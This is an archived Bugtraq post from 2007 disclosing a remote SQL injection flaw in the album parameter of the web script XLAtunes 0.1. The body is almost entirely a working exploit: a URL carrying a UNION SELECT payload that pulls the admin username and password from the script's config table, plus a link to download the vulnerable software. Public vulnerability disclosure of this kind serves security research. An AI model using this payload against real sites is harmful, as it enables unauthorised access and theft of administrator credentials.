Bugtraq mailing list archives

XLAtunes 0.1 (album) Remote SQL Injection Vulnerability

From: Guns () 0x90 com ar
Date: Wed, 21 Feb 2007 06:06:32 -0800



#Critical Status:High
#Found By: 0x90 #Download:http://www.scriptdungeon.com/script.php?ScriptID=2844
#Greetz:all my friends
#confkey->Password
#confvalue->Username
#Table:config
#http://host.com/path/?mode=view&album=-1%20UNION%20SELECT%20confkey%20FROM%20config/*

Current thread:

XLAtunes 0.1 (album) Remote SQL Injection Vulnerability Guns (Feb 20)
- Re: XLAtunes 0.1 (album) Remote SQL Injection Vulnerability str0ke (Feb 20)
- <Possible follow-ups>
- XLAtunes 0.1 (album) Remote SQL Injection Vulnerability Guns (Feb 21)